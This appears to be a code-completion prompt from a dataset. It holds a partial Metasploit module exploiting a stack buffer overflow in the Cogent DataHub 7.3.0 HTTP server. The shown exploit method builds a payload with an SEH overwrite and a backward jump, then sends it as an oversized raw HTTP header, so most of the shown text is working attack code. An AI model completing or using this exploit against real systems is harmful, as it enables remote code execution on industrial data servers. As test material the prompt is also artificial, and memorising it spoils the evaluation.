You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: cogent_datahub_request_headers_bof.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/http
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Cogent DataHub HTTP Server Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack based buffer overflow on Cogent DataHub 7.3.0. The
        vul
    
  def exploit
    print_status("Trying target #{target.name}...")

    off = target['Offset'] + 8 # 8 => length of the seh_record
    bof = payload.encoded
    bof << rand_text_alpha(target['Offset'] - payload.encoded.length)
    bof << generate_seh_record(target.ret)
    bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + off.to_s).encode_string
    bof << rand_text(target['CrashLength'])

    print_status("Sending request to #{rhost}:#{rport}")

    send_request_cgi({
      'uri'          => "/",
      'method'       => 'GET',
      'raw_headers'  => "#{bof}: #{rand_text_alpha(20 + rand(20))}\r\n"
    })

  end